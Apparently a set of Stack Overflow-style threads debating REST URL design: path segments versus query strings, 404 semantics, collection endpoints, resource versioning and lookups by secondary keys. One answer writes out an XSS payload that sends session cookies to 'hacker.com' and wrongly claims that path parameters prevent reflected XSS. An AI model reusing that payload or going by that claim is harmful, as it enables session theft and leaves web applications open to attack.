I had a discussion with a colleague today around using query strings in REST URLs. Take these 2 examples:
1. http://localhost/findbyproductcode/4xxheua
2. http://localhost/findbyproductcode?productcode=4xxheua
My stance was the URLs should be designed as in example 1. This is cleaner and what I think is correct within REST. In my eyes you would be completely correct to return a 404 error from example 1 if the product code did not exist whereas with example 2 returning a 404 would be wrong as the page should exist. His stance was it didn't really matter and that they both do the same thing.
As neither of us were able to find concrete evidence (admittedly my search was not extensive) I would like to know other people's opinions on this.
There is no difference between the two URIs from the perspective of the client. URIs are opaque to the client. Use whichever maps more cleanly into your server side infrastructure.
As far as REST is concerned there is absolutely no difference. I believe the reason why so many people do believe that it is only the path component that identifies the resource is because of the following line in RFC 2396
The query component is a string of
information to be interpreted by the
resource.
This line was later changed in RFC 3986 to be:
The query component contains
non-hierarchical data that, along with
data in the path component (Section
3.3), serves to identify a resource
IMHO this means both query string and path segment are functionally equivalent when it comes to identifying a resource.
Update to address Steve's comment.
Forgive me if I object to the adjective "cleaner". It is just way too subjective. You do have a point though that I missed a significant part of the question.
I think the answer to whether to return 404 depends on what the resource is that is being retrieved. Is it a representation of a search result, or is it a representation of a product? To know this you really need to look at the link relation that led us to the URL.
If the URL is supposed to return a Product representation then a 404 should be returned if the code does not exist. If the URL returns a search result then it shouldn't return a 404.
The end result is that what the URL looks like is not the determining factor. Having said that, it is convention that query strings are used to return search results so it is more intuitive to use that style of URL when you don't want to return 404s.
In typical REST API's, example #1 is more correct. Resources are represented as URI and #1 does that more. Returning a 404 when the product code is not found is absolutely the correct behavior. Having said that, I would modify #1 slightly to be a little more expressive like this:
http://localhost/products/code/4xheaua
Look at other well-designed REST APIs - for example, look at StackOverflow. You have:
stackoverflow.com/questions
stackoverflow.com/questions/tagged/rest
stackoverflow.com/questions/3821663
These are all different ways of getting at "questions".
There are two use cases for GET
Get a uniquely identified resource
Search for resource(s) based on given criteria
Use Case 1 Example:
/products/4xxheua
Get a uniquely identified product, returns 404 if not found.
Use Case 2 Example:
/products?size=large&color=red
Search for a product, returns list of matching products (0 to many).
If we look at say the Google Maps API we can see they use a query string for search.
e.g.
http://maps.googleapis.com/maps/api/geocode/json?address=los+angeles,+ca&sensor=false
So both styles are valid for their own use cases.
IMO the path component should always state what you want to retrieve. An URL like http://localhost/findbyproductcode does only say I want to retrieve something by product code, but what exactly?
So you retrieve contacts with http://localhost/contacts and users with http://localhost/users. The query string is only used for retrieving a subset of such a list based on resource attributes. The only exception to this is when this subset is reduced to one record based on the primary key, then you use something like http://localhost/contact/[primary_key].
That's my approach, your mileage may vary :)
The way I think of it, URI path defines the resource, while optional querystrings supply user-defined information. So
https://domain.com/products/42
identifies a particular product while
https://domain.com/products?price=under+5
might search for products under $5.
I disagree with those who said using querystrings to identify a resource is consistent with REST. Big part of REST is creating an API that imitates a static hierarchical file system (without literally needing such a system on the backend)--this makes for intuitive, semantic resource identifiers. Querystrings break this hierarchy. For example watches are an accessory that have accessories. In the REST style it's pretty clear what
https://domain.com/accessories/watches
and
https://domain.com/watches/accessories
each refer to. With querystrings,
https://domain.com?product=watches&category=accessories
is not not very clear.
At the very least, the REST style is better than querystrings because it requires roughly half as much information since strong-ordering of parameters allows us to ditch the parameter names.
The ending of those two URIs is not very significant RESTfully.
However, the 'findbyproductcode' portion could certainly be more restful. Why not just
http://localhost/product/4xxheau ?
In my limited experience, if you have a unique identifier then it would look clean to construct the URI like .../product/{id}
However, if product code is not unique, then I might design it more like #2.
However, as Darrel has observed, the client should not care what the URI looks like.
This question is deticated to, what is the cleaner approach. But I want to focus on a different aspect, called security. As I started working intensively on application security I found out that a reflected XSS attack can be successfully prevented by using PathParams (appraoch 1) instead of QueryParams (approach 2).
(Of course, the prerequisite of a reflected XSS attack is that the malicious user input gets reflected back within the html source to the client. Unfortunately some application will do that, and this is why PathParams may prevent XSS attacks)
The reason why this works is that the XSS payload in combination with PathParams will result in an unknown, undefined URL path due to the slashes within the payload itself.
http://victim.com/findbyproductcode/<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>**
Whereas this attack will be successful by using a QueryParam!
http://localhost/findbyproductcode?productcode=<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>
The query string is unavoidable in many practical senses.... Consider what would happen if the search allowed multiple (optional) fields to all ve specified. In the first form, their positions in the hierarchy would have to be fixed and padded...
Imagine coding a general SQL "where clause" in that format....However as a query string, it is quite simple.
By the REST client the URI structure does not matter, because it follows links annotated with semantics, and never parses the URI.
By the developer who writes the routing logic and the link generation logic, and probably want to understand log by checking the URLs the URI structure does matter. By REST we map URIs to resources and not to operations - Fielding dissertation / uniform interface / identification of resources.
So both URI structures are probably flawed, because they contain verbs in their current format.
1. /findbyproductcode/4xxheua
2. /findbyproductcode?productcode=4xxheua
You can remove find from the URIs this way:
1. /products/code:4xxheua
2. /products?code="4xxheua"
From a REST perspective it does not matter which one you choose.
You can define your own naming convention, for example: "by reducing the collection to a single resource using an unique identifier, the unique identifier must be always part of the path and not the query". This is just the same what the URI standard states: the path is hierarchical, the query is non-hierarchical. So I would use /products/code:4xxheua.
Philosophically speaking, pages do not "exist". When you put books or papers on your bookshelf, they stay there. They have some separate existence on that shelf. However, a page exists only so long as it is hosted on some computer that is turned on and able to provide it on demand. The page can, of course, be always generated on the fly, so it doesn't need to have any special existence prior to your request.
Now think about it from the point of view of the server. Let's assume it is, say, properly configured Apache --- not a one-line python server just mapping all requests to the file system. Then the particular path specified in the URL may have nothing to do with the location of a particular file in the filesystem. So, once again, a page does not "exist" in any clear sense. Perhaps you request http://some.url/products/intel.html, and you get a page; then you request http://some.url/products/bigmac.html, and you see nothing. It doesn't mean that there is one file but not the other. You may not have permissions to access the other file, so the server returns 404, or perhaps bigmac.html was to be served from a remote Mc'Donalds server, which is temporarily down.
What I am trying to explain is, 404 is just a number. There is nothing special about it: it could have been 40404 or -2349.23847, we've just agreed to use 404. It means that the server is there, it communicates with you, it probably understood what you wanted, and it has nothing to give back to you. If you think it is appropriate to return 404 for http://some.url/products/bigmac.html when the server decides not to serve the file for whatever reason, then you might as well agree to return 404 for http://some.url/products?id=bigmac.
Now, if you want to be helpful for users with a browser who are trying to manually edit the URL, you might redirect them to a page with the list of all products and some search capabilities instead of just giving them a 404 --- or you can give a 404 as a code and a link to all products. But then, you can do the same thing with http://some.url/products/bigmac.html: automatically redirect to a page with all products.
Related
Lets assume we have some main-resource and a related sub-resource with 1-n relation;
User of the API can:
list main-resources so GET /main-resources endpoint.
list sub-resources so GET /sub-resources endpoint.
list sub-resources of a main-resource so one or both of;
GET /main-resources/{main-id}/sub-resources
GET /sub-resouces?main={main-id}
create a sub-resource under a main-resource
POST /main-resource/{main-id}/sub-resouces: Which has the benefit of hierarchy, but in order to support this one needs to provide another set of endpoints(list, create, update, delete).
POST /sub-resouces?main={main-id}: Which has the benefit of having embedded id inside URL. A middleware can handle and inject provided values into request itself.
create a sub-resource with all parameters in body POST /sub-resources
Is providing a URI with main={main-id} query parameter embedded a good way to solve this or should I go with the route of hierarchical URI?
In a true REST environment the spelling of URIs is not of importance as long as the characters used in the URI adhere to the URI specification. While RFC 3986 states that
The path component contains data, usually organized in hierarchical form, that, along with data in the non-hierarchical query component (Section 3.4), serves to identify a resource within the scope of the URI's scheme and naming authority (if any). The path is terminated by the first question mark ("?") and number sign ("#") character, or by the end of the URI. (Source)
it does not state that a URI has to have a hierarchical structure assigned to it. A URI as a whole is a pointer to a resource and as such a combination of various URIs may give the impression of some hierarchy involved. The actual information of whether URIs have some hierarchical structure to it should though stem from link relations that are attached to URIs. These can be registered names like up, fist, last, next, prev and the like or Web linking extensions such as https://acme.org/rel/parent which acts more like a predicate in a Semantic Web relation basically stating that the URI at hand is a parent to the current resource. Don't confuse rel-URIs for real URIs though. Such rel-URIs do not necessarily need to point to an actual resource or even to a documentation. Such link relation extensions though my be defined by media-types or certain profiles.
In a perfect world the URI though is only used to send the request to the actual server. A client won't parse or try to extract some knowledge off an URI as it will use accompanying link relation names to determine whether the URI is of relevance to the task at hand or not. REST is full of such "indirection" mechanism in order to help decoupling clients from servers.
I.e. what is the difference between a URI like https://acme.org/api/users/1 and https://acme.org/api/3f067d90-8b55-4b60-befc-1ce124b4e080? Developers in the first case might be tempted to create a user object representing the data returned by the URI invoked. Over time the response format might break as stuff is renamed, removed and replaced by other stuff. This is what Fielding called typed resources which REST shouldn't have.
The second URI doesn't give you a clue on what content it returns, and you might start questioning on what benefit it brings then. While you might not be aware of what actual content the service returns for such URIs, you know at least that your client is able to process the data somehow as otherwise the service would have responded with a 406 Not Acceptable response. So, content-type negotiation ensures that your client will with high certainty receive data it is able to process. Maintaining interoperability in a domain that is likely to change over time is one of RESTs strong benefits and selling points. Depending on the capabilities of your client and the service, you might receive a tailored response-format, which is only applicable to that particular service, or receive a more general-purpose one, like HTML i.e.. Your client basically needs a mapping to translate the received representation format into something your application then can use. As mentioned, REST is probably all about introducing indirections for the purpose of decoupling clients from servers. The benefit for going this indirection however is that once you have it working it will work with responses issued not only from that server but for any other service that also supports returning that media type format. And just think a minute what options your client has when it supports a couple of general-purpose formats. It then can basically communicate and interoperate with various other services in that ecosystem without a need for you touching it. This is how browsers operate on the Web for decades now.
This is exactly why I think that this phrase of Fielding is probably one of the most important ones but also the one that is ignored and or misinterpreted by most in the domain of REST:
A REST API should spend almost all of its descriptive effort in defining the media type(s) used for representing resources and driving application state, or in defining extended relation names and/or hypertext-enabled mark-up for existing standard media types. (Source)
So, in a true REST environment the form of the URI is unimportant as clients rely on other mechanisms to determine whether to use that URI or not. Even for so called "REST APIs" that do not really care about the true meaning of REST and treat it more like old-school RPC the question at hands is probably very opinionated and there probably isn't that one fits all solution. If your framework supports injecting stuff based on the presence of certain query parameters, use that. If you prefer the more hierarchical structure of URIs, go for those. There isn't a right or wrong in such cases.
According to the URI standard when you have a hierarchical relationship between resources, then better to add it to the path instead of the query. https://datatracker.ietf.org/doc/html/rfc3986#page-22 Sometimes it is better to describe the relation itself, not just the sub-resource, but that happens only if the sub-resource can belong to multiple main resources, which is n:m relationship.
Variety of REST practises suggest (i.e. 1, 2, 3) to use plurals in your endpoints and the result is always a list of objects, unless it's filtered by a specific value, such as /users/123 Query parameters are used to filter the list, but still result in a list, nevertheless. I want to know if my case should 'abandon' those best practices.
Let's use cars for my example below.
I've got a database full of cars and each one has a BuildNumber ("Id"), but also a model and build year which combination is unique. If I then query for /cars/ and search for a specific model and year, for example /cars?model=golf&year=2018 I know, according to my previous sentence, my retrieve will always contain a single object, never multiple. My result, however, will still be a list, containing just one object, nevertheless.
In such case, what will be the best practise as the above would mean the object have to be extracted from the list, even though a single object could've been returned instead.
Stick to best practises and export a list
Make a second endpoind /car/ and use the query parameters ?model=golf&year=2018, which are primarily used for filtering in a list, and have the result be a single object, as the singular endpoint states
The reason that I'm asking this is simply for the cleanness of the action: I'm 100% sure my GET request will result in single object, but still have to perform actions to extract it from the list. These steps should've been unnecessary. Aside of that, In my case I don't know the unique identifier, so cars/123 for retrieving a specific car isn't an option. I know, however, filters that will result in one object and one specific object altogether. The additional steps simply feel redundant.
1: https://learn.microsoft.com/en-us/azure/architecture/best-practices/api-design
2: https://blog.mwaysolutions.com/2014/06/05/10-best-practices-for-better-restful-api/
3: https://medium.com/hashmapinc/rest-good-practices-for-api-design-881439796dc9
As you've specifically asked for best practices in regards to REST:
REST doesn't care how you specify your URIs or that semantically meaningful tokens are used inside the URI at all. Further, a client should never expect a certain URI to return a certain type but instead rely on content-type negotiation to tell the server all of the capabilities the client supports.
You should furthermore not think of REST in terms of object orientation but more in terms of affordance and statemachines where a client get served every information needed in order to make an educated decision on what to do next.
The best sample to give here is probably to take a close look at the Web and how it's done for HTML pages. How can you filter for a specific car and how it will be presented to you? The same concepts that are used in the Web also apply to REST as both use the same interaction model. In regards to your car sample, the API should initially return some control-structures that teach a client how a request needs to be formed and what options could be filtered for. In HTML this is done via forms. For non-HTML based REST APIs dedicated media-types should be defined that translate the same approach to non-HTML structures. On sending the request to the server, your client would include all of the supported media-types it supports in an Accept HTTP header, which informs the server about the capabilities of the client. Media-types are just human-readable specification on how to process payloads of such types. Such specifications may include hints on type information a link relation might return. In order to gain wide-usage of media-types they should be defined as generic as possible. Instead of defining a media-type specific for a car, which is possible, it probably would be more convenient to use an existing or define a new general data-container format (similar to HTML).
All of the steps mentioned here should help you to design and implement an API that is free to evolve without having to risk to break clients, that furthermore is also scalable and minimizes interoperability concerns.
Unfortunately your question targets something totally different IMO, something more related to RPC. You basically invoke a generic method via HTTP on an endpoint, similar like SOAP, RMI or CORBA work. Whether you respect the semantics of HTTP operations or not is only of sub-interest here. Even if you'd reached level 3 of the Richardson Maturity Model (RMM) it does not mean that you are compliant to REST. Your client might still break if the server changes anything within the response. The RMM further doesn't even consider media-types at all, hence I consider it as rather useless.
However, regardless if you use a (true) REST or RPC/CRUD client, if retrieving single items is your preference instead of feeding them into a collection you should consider to include the URI of the items of interest instead of its data directly into the collection, as Evert also has suggested. While most people seem to be concerned on server performance and round-trip-times, it actually is very elegant in terms of caching. Further certain link-relation names such as prefetch may inform the client that it may fetch the targets payload early as it is highly possible that it's content will be requested next. Through caching a request might not even have to be triggered or sent to the server for processing, which is probably the best performance gain you can achieve.
1) If you use query like cars/where... - use CARS
2) If you whant CAR - make method GetCarById
You might not get a perfect answer to this, because all are going to be a bit subjective and often in a different way.
My general thought about this is that every item in my system will have its own unique url, for example /cars/1234. That case is always singular.
But this specific item might appear as a member in collections and search results. When /cars/1234 apears in these, they will always appear as a list with 1 item (or 0 or more depending on the query).
I feel that this is ultimately the most predictable.
In my case though, if a car appears as a member of a search or colletion, it's 'true url' will still be displayed.
Consider a need to create a GET endpoint for fetching Member details using either of 4 options (It's common in legacy application with RPC calls)
Get member by ID
Get member by SSN
Get member by a combination of Phone and LastName (both must be passed)
What's a recommended strategy to live the REST spirit and yet provide this flexibility?
Some options I could think of are:
Parameters Based
/user/{ID}
/user?ssn=?
/user?phone=?&lname=?
Separate Endpoints
/user/{ID}
/user/SSN/{SSNID}
/user/{lname}/{phone}
RPC for custom
/user/{ID}
/user/findBySSN/
/user/findbycontact/
REST doesn't care what spelling you use for your identifiers.
For example, think about how you would do this on the web. You would provide forms, one for each set of search criteria. The consumer would choose which form to use, and submit the form, without ever knowing what the URI is.
In the case of HTML forms, there are specific processing rules for describing how the form information will be copied into the URI. The form takes on the aspect of a URI Template.
A URI Template provides both a structural description of a URI space and, when variable values are provided, machine-readable instructions on how to construct a URI corresponding to those values.
But there aren't any rules saying that restrict the server from providing a URI template that directs the client to copy the variable values into path segments rather than into the query string.
In other words, in REST, the server retains control of its own URI space.
You might sometimes prefer to use path segments because of their hierarchical nature, which may be convenient if you want the client to use relative resolution of relative references in your representations.
REST ≠ pretty URLs. The two are orthogonal.
Your question is about the latter, I feel.
Whilst the other answers have been good, if you want your API to work with HTML forms, go with query parameters on the collection /user resource for all fields, even for ID (assuming a human is typing these in based on information they are getting from sheets of paper on their desk, etc.)
If your server is able to produce links to each record, always produce canonical links such as /users/{id}, don't duplicate data under different URLs.
While designing a RESTful API we came across the problem of how to access different versions of the "same object". Let us say a page object is identified by a unique key and accessed by GET /api/page/pagekey. It can be updated by sending PUT /api/page/pagekey and an appropriate document in the body.
Now our system keeps track of old versions of the page, that we also want to access via the API. Let us assume that an older version of the document is version 1. There seem to be at least two ways to design the API to access this particular version of the page:
GET /api/page/pagekey/1
GET /api/page/pagekey?version=1
The first variant renders the particular version as its own resource; the second variant gives the existing resource an optional version context.
Is variant (1) or (2) a better solution? Or is there an even better way to do it?
In variant (1) a request for a version number that does not exist e.g. /api/page/pagekey/7 could trigger a HTTP 404 Not Found, which is quit handy. Would this also be a valid status response when considering variant (2), where we only change the context "version" of the existing resource, that would without the version parameter return a HTTP 200 Ok response?
Each resource url should be a permalink to identify that resource.
GET /api/page/{id}/{rev}
That certainly is a permalink to a specific version of the resource. So, that's fine. But note that the permalink does not require the content to be the same over time:
GET /api/page/{id}
That will return the latest revision which is fine and will change contents over time. To expand on that, you can even have temporal resources like this and be RESTful:
GET /api/page/latest
But, /api/page/{id}?version={rev} will also work and doesn't break any RESTful concepts.
I think the /{id}/{rev} is a bit purer since it specifically identifies that resource in the addressable url and feels a little more correct than putting making it a param. The reason is the params should be modifiers on how to retrieve the contents and not necessarily mutate the distinct resource you're retrieving. In your case, since each version is distinct, it seems more appropriate to distinctly address the resource. But, even that one doesn't break any RESTful url rules or concepts and if you asked 10 folks you might get a different answer :)
Either way, you should likely ensure the temporal resource /api/page/{id} returns the latest revision.
Almost by definition, REST will have no notion of "same object". If you need this in your protocol, then you'll need to have some kind of "identifier". As simple as that ;)
A URL parameter is one obvious way to go. "/1" or "?version=1" are certainly two good alternatives - which you choose is just a matter of preference (as well as a question of how much "other stuff" you might also want).
Either way, you're still going to have to cope with "version not found" kinds of errors, and recover gracefully.
IMHO...
Simple question I'm having trouble finding an answer to..
If I have a REST web service, and my design is not using url parameters, how can I specify two different keys to return the same resource by?
Example
I want (and have already implemented)
/Person/{ID}
which returns a person as expected.
Now I also want
/Person/{Name}
which returns a person by name.
Is this the correct RESTful format? Or is it something like:
/Person/Name/{Name}
You should only use one URI to refer to a single resource. Having multiple URIs will only cause confusion. In your example, confusion would arise due to two people having the same name. Which person resource are they referring to then?
That said, you can have multiple URIs refer to a single resource, but for anything other than the "true" URI you should simply redirect the client to the right place using a status code of 301 - Moved Permanently.
Personally, I would never implement a multi-ID scheme or redirection to support it. Pick a single identification scheme and stick with it. The users of your API will thank you.
What you really need to build is a query API, so focus on how you would implement something like a /personFinder resource which could take a name as a parameter and return potentially multiple matching /person/{ID} URIs in the response.
I guess technically you could have both URI's point to the same resource (perhaps with one of them as the canonical resource) but I think you wouldn't want to do this from an implementation perspective. What if there is an overlap between IDs and names?
It sure does seem like a good place to use query parameters, but if you insist on not doing so, perhaps you could do
person/{ID}
and
personByName/{Name}
I generally agree with this answer that for clarity and consistency it'd be best to avoid multiple ids pointing to the same entity.
Sometimes however, such a situation arises naturally. An example I work with is Polish companies, which can be identified by their tax id ('NIP' number) or by their national business registry id ('KRS' number).
In such case, I think one should first add the secondary id as a criterion to the search endpoint. Thus users will be able to "translate" between secondary id and primary id.
However, if users still keep insisting on being able to retrieve an entity directly by the secondary id (as we experienced), one other possibility is to provide a "secret" URL, not described in the documentation, performing such an operation. This can be given to users who made the effort to ask for it, and the potential ambiguity and confusion is then on them, if they decide to use it, not on everyone reading the documentation.
In terms of ambiguity and confusion for the API maintainer, I think this can be kept reasonably minimal with a helper function to immediately detect and translate the secondary id to primary id at the beginning of each relevant API endpoint.
It obviously matters much less than normal what scheme is chosen for the secret URL.